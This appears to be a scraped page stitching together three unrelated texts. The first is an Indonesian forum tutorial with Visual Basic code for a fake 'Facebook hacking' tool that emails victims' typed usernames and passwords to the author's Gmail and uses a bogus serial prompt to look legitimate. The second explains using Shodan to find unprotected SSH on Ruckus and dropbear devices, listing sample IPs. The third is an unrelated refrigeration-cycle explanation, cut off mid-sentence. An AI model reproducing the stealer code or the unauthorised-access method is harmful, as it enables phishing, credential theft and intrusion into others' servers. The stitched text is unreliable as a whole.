HACK FACEBOOK DENGAN SCAM TOOL :3

Oke hari ini ane mau sharing tentang cara bobol facebook dengan menggunakan aplikasi buatan kalian sendiri

peralatan yang dibutuhkan
1. Visual basic
2. Kreatifitas

berikut screenshoot tool saya



pertama -tama buka visual basic dan buat project baru

buat 3 label
1. email address
2.password
3.victims mail/victim id

kedua

buat 3 textbox
dan rubah text pada tiap-tiap textbox propertiesnya

ketiga

buat 2 command button
pada properties nya rubah text 1. Start 2. Exit

keempat
kasih checkbutton biar pengguna tool kalian percaya bahwa tool kalian ini Berfungsi


setelah itu klik 2x pada form

INGAT sebelum public class form1 masukkan type

Code:

Imports System.Net.Mail
Imports Microsoft.Win32

dan masukkan kode

Code:

MsgBox("Input Your serial number")
        Dim LK As String = "[color=#800000]0987654321[/color]"
        Dim L As RegistryKey = Registry.CurrentUser.CreateSubKey("software\vaqxine", RegistryKeyPermissionCheck.Default)
        If L.GetValue("licence") Is Nothing Then
            Dim input As String = InputBox("Enter Your Registration Key", "Please Register Your Program!")
            If input <> LK Then
                MsgBox("Please Enter A Valid Registration Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")
                End
            Else
                L.SetValue("licence", LK)
                MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration Key accepted")
            End If
        ElseIf L.GetValue("licence") <> LK Then
            Dim input As String = InputBox("Enter your registration key", "Your current registration key is not valid")
            If input <> LK Then
                MsgBox("Please Enter A Valid License Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")
                End
            Else
                L.SetValue("licence", LK)
                MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration key accepted")
            End If
        End If
        L.Close()

fungsi code ini buat manipulasi korban dengan memasukkan serial number pada bagian Dim LK As Stringagar tool kalian lebih resmi :P

setelah itu kembali lagi ke form dan klik 2x start dan masukkan codingnya

Code:

Dim MyMailMessage As New MailMessage
        MyMailMessage.From = New MailAddress("[color=#FF0000]email gmail kalian[/color]")
        MyMailMessage.To.Add("[color=#FF0000]email gmail kalian[/color]")
        MyMailMessage.Body = ("Username: " + TextBox1.Text & vbCrLf & "Password: " + TextBox2.Text & vbCrLf & vbCrLf & "Attempting To Hack: " + TextBox3.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("[color=#FF0000]email gmail kalian[/color]", "[color=#FF0000]password gmail kalian[/color]")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        MsgBox("Wait for 2-3 hours to cracking the password Visit my blog www.trojanzboy.blogspot.com")

setelah itu test program dengan mengklik tombol start debugging (F5)

jika sukses test masukkan email dan password pada text box
maka email&&password terkirim di email kalian cek email kalian



dan saatnya mempublikasikan tool anda
klik build toolbar --> build solution &&& --> build windowsaplication



dan hasil outputnya ada di my document > visual studio > project

dan tool pun siap untuk diedarkan


NB : jika gmailnya kalian terdapat authentication mobile maka tool nya tidak dapat bekerja :mantap


SCARLET DEVELOPER G

MENCARI SSH GRATIS!!! 

Langsung aja berikut Metode Lain Mencari SSH Gratis Tanpa Password :

Quote:http://www.shodanhq.com/

Sebenarnya gak perlu register juga gak papa, tetapi kalau free user tidak bisa memanfaatkan fitur tambahan untuk searching, makanya saya anjurkan untuk register dulu.

Search dengan keyword :

Ruckus Wireless country:TH

itu akan searching dengan kata kunci "Ruckus Wireless" dari negara Thailand. Silahkan di ganti negaranya sesui keinginan bro.
Saya ambil contoh :

Code:

ip 202.57.186.112
190.95.57.173
Telefonica del Sur S.A.
Added on 25.09.2013
Chile Valdivia
Ruckus Wireless Inc (C) 2006


201.186.228.8
Telefonica del Sur S.A.
Added on 25.09.2013
Chile Valdivia
Ruckus Wireless Inc (C) 2006

Coba kita bukak lewat bitvise mas bro.


wah sukses bro, yuk kita coba buat broswshing



mantab bro, bisa buat berselancar. Sangat sangat sangat gampang dan simple bukan???

Keyword search lain yang support untuk di jadikan gratisan es teh tanpa user name dan password :

Code:

SSH-2.0-dropbear_2011.54
SSH-2.0-dropbear_0.53.1
SSH-2.0-dropbear_0.53
SSH-2.0-dropbear_0.52
SSH-2.0-dropbear_0.51
SSH-2.0-dropbear_0.50
SSH-2.0-dropbear_0.49
SSH-2.0-dropbear_0.48
SSH-2.0-dropbear_0.47
SSH-2.0-dropbear_0.46

Cara ngetesnya sama seperti di atas mas bro, langsung test di bitvise aja.
Demikian tulisan singkat mengenai metode lain mencari ssh gratis, semoga menambah pengetahuan kita semua. Admin tidak bertanggung jawab mengenai penyalahgunaan server yang berhasil di dapatkan menggunakan metode tersebut.


tkhs to allah swt, orang-orang yg memberi ispirasi, coder, Shadow, HnC, x-code, 3rror code, all crew cyber

SCARLET DEVELOPER G

Mechanical refrigeration is accomplished by continuously circulating, evaporating, and condensing a fixed supply of refrigerant in a closed system. Evaporation occurs at a low temperature and low pressure while condensation occurs at a high temperature and high pressure. Thus, it is possible to transfer heat from an area of low temperature (i.e., refrigerator cabinet) to an area of high temperature (i.e., kitchen).
Referring to the illustration below, beginning the cycle at the evaporator inlet (1), the low-pressure liquid expands, absorbs heat, and evaporates, changing to a low-pressure gas at the evaporator outlet (2).
The compressor (4) pumps this gas from the evaporator through the accumulator (3), increases its pressure, and discharges the high-pressure gas to the condenser (5). The accumulator is designed to protect the compressor by preventing slugs of liquid refrigerant from passing directly into the compressor. An accumulator should be included on all systems subjected to varying load conditions or frequent compressor cycling. In the condenser, heat is removed from the gas, which then condenses and becomes a high-pressure liquid. In some systems, this high-pressure liquid drains from the condenser into a liquid storage or receiver tank (6). On other systems, both the receiver and the liquid line valve (7) are omitted.
A heat exchanger (8) between the liquid line and the suction line is also an optional item, which may or may not be included in a given system design.

Illustration of the basic refrigeration cycle.
Between the condenser and the evaporator an expansion device (10) is located. Immediately preceding this device is a liquid line strainer/drier (9), which prevents plugging of the valve or tube by retaining scale, dirt, and moisture. The flow of refrigerant into the evaporator is controlled by the pressure differential across the expansion device or, in the case of a thermal expansion valve, by the degree of superheat of the suction gas. Thus, the thermal expansion valve shown requires a sensor bulb located at the evaporator outlet. In any case, the flow of refrigerant into the evaporator normally increases as the evaporator load increases.
As the high-pressure liquid refrigerant enters the evaporator, it is subjected to a much lower pressure due to the suction of the compressor and the pressure drop across the expansion device. Thus, the refrigerant tends to expand and evaporate. In order to evaporate, the liquid must absorb heat from the air passing over the evaporator.
Eventually, the desired air temperature is reached and the thermostat or cold control (11) will break the electrical circuit to the compressor motor and stop the compressor.
As the temperature of the air through the evaporator rises, the thermostat or cold control remakes the electrical circuit. The compressor starts, and the cycle continues.
In addition to the accumulator, a compressor crankcase heater (12) is included on many systems. This heater prevents accumulation of refrigerant in the compressor crankcase during the non-operating periods and prevents liquid slugging or oil pumpout on startup.
Additional protection to the compressor and system is afforded by a high- and low-pressure cutout (13). This control is set to stop the compressor in the event that the system pressures rise above or fall below the design operating range.
Other controls not indicated on the basic cycle which may be part of a system include: evaporator pressure regulators, hot gas bypass regulators, electric solenoid valves, suction pressure regulators, condenser pressure regulators, low-side or high-side float refrigerant controllers, oil separators, etc.
It is extremely important to analyze completely every system and understand the intended function of each component before attempting to determine the cause of a